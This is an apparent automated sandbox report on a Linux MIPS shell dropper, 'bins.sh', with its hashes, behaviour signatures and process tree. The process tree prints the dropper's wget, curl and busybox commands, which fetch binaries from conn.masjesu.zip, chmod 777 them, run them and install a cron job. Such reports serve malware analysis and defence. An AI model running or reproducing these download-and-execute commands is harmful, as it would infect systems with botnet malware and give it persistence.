Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    04-11-2024 18:57

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    31656289d25c2f37fd9883095dbb79eb

  • SHA1

    0428f81cd5e5364f5770bdb839f699c84f90ff85

  • SHA256

    7cf86de792c519df89706b72fb33fe2b558f456d4e0d0587568d9871dab861b0

  • SHA512

    0e73a849c9267030dd9c2f2d35e15d15ba206466485a3399264ff3b95fd7d3328d11a70ffe8fbc0aab8b3174faf17e17f9e3853be28f8cde14c996238f9f3de1

  • SSDEEP

    96:YttJttcLddZO+DLgc2LA8sPUJh5SgugegedhOLKCpL40jj/J5Xx5Mhxix6xDCuCY:ZpOYPOdNCw4DCuxwAw4DCuv

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1975) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 2 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 7 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:707
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:709
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:714
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:736
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:738
        • /bin/chmod
          chmod 777 kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
          2⤵
          • File and Directory Permissions Modification
          PID:739
        • /tmp/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
          ./kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
          2⤵
          • Executes dropped EXE
          PID:740
        • /bin/rm
          rm kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
          2⤵
            PID:742
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:743
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:744
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:746
          • /bin/chmod
            chmod 777 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
            2⤵
            • File and Directory Permissions Modification
            PID:747
          • /tmp/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
            ./60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:748
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:750
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:751
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:752
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:753
                • /bin/rm
                  rm 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
                  2⤵
                    PID:759
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5
                    2⤵
                    • System Network Configuration Discovery
                    PID:763

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ

                  Filesize

                  151KB

                  MD5

                  6c583043d91c55aa470c08c87058e917

                  SHA1

                  abf65a5b9bba69980278ad09356e53de8bb89439

                  SHA256

                  2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                  SHA512

                  82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                • /tmp/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO

                  Filesize

                  112KB

                  MD5

                  05d7857dcead18bbd86d2935f591873c

                  SHA1

                  34d18f41ef35f93d5364ce3e24d74730a4e91985

                  SHA256

                  2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                  SHA512

                  d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                • /var/spool/cron/crontabs/tmp.Tv5fhf

                  Filesize

                  210B

                  MD5

                  dd8bc88936804048dca6a3fb40e2f641

                  SHA1

                  bee2596574d74937488c8b044e09b642d250ed58

                  SHA256

                  912ae4035102d398d29aa34cf783ab8cd2be89edf35def1360336ab3d367ae28

                  SHA512

                  6acf4d5ad33fb1ce9de40a53392a3e1fdb7468bdad6d5e10296d059ac3cdf2b06308340cea64ac4014389b2d5e254480121c442c6d4b3e8ad9d1f6e4d8e5dc23